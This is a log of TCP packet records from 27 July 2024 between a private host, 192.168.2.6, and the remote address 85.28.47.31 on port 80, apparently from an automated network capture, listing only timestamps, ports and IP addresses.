Jul 27, 2024 03:19:15.621781111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621786118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621820927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621828079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621855974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621862888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621890068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.621901989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.621932030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.623514891 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.623564959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.623578072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.623600960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.623609066 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.623632908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.623650074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.623672009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.623683929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.623706102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.623718023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.623742104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.623752117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.623785973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.623811007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.623862028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.623893976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.623925924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.623944044 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.623974085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.623976946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624011040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624021053 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.624046087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624057055 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.624080896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624094009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.624124050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.624124050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624169111 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.624174118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624209881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624217033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.624243975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624264956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.624279022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624301910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.624314070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624320984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.624350071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624356031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.624392033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.624917984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624970913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.624972105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625005007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625015974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625039101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625046968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625080109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625119925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625153065 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625173092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625185966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625194073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625231028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625237942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625272036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625277996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625303984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625310898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625338078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625358105 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625371933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625379086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625407934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625420094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625443935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.625452042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.625484943 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.703922987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.703978062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704006910 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704029083 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704030991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704113960 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704137087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704164982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704164982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704200983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704212904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704236031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704241037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704271078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704282045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704307079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704314947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704340935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704349995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704375982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704391003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704411030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704420090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704447985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704457998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704493046 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704498053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704561949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.704941988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.704974890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.705003023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.705008030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.705013990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.705056906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.705101013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.705133915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.705152988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.705168962 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.705179930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.705205917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.705208063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.705252886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.705822945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.705873013 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.705877066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.705930948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.705938101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.705985069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.705988884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706021070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706028938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706057072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706068993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706094027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706103086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706129074 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706139088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706166029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706175089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706202030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706211090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706237078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706248045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706270933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706280947 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706309080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706319094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706343889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706351995 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706394911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706631899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706681013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706691027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706717014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706753016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706767082 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706787109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706837893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706837893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706873894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706885099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706907034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706928968 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706943035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.706948996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.706990957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.708668947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.708699942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:15.708729029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.708744049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.835592985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:15.840504885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.050724983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051045895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051069975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051090956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051105976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051107883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051107883 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051124096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051146030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051156998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051157951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051162958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051178932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051203012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051206112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051217079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051223040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051232100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051245928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051246881 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051263094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051280022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051294088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051307917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051307917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051310062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051321983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051326036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051342010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051357985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.051384926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051384926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.051398039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052037001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052059889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052073956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052100897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052135944 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052139997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052155972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052162886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052175999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052222967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052222967 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052223921 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052239895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052254915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052268028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052290916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052290916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052356958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052371025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052372932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052386999 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052401066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052414894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052438974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052438974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052457094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052786112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052798986 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052870035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052891970 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052906036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.052922964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052922964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052957058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.052957058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053040981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053066015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053081989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053107023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053107023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053107977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053123951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053137064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053149939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053149939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053152084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053167105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053181887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053184986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053184986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053196907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053210974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053212881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053212881 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053244114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053244114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053314924 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053778887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053910017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053924084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053941965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053963900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053965092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053965092 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.053980112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.053994894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.054008007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.054018021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.054018021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.054023981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.054039001 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.054054022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.054068089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.054069042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.054069042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.054083109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.054099083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.054111958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.054112911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.054111958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.054166079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.054166079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055200100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055252075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055269003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055282116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055335045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055335045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055372000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055393934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055408955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055422068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055437088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055440903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055440903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055450916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055465937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055469036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055469036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055481911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055490971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055490971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055496931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055510998 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055541039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055541039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055697918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055711985 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055727005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055751085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055751085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055764914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055788040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055803061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055816889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055830956 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055831909 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055846930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055860996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055860996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055891037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055891037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055942059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055954933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055969000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055983067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055996895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.055999041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.055999041 CEST	49710	80	192.168.2.6	85.28.47.31
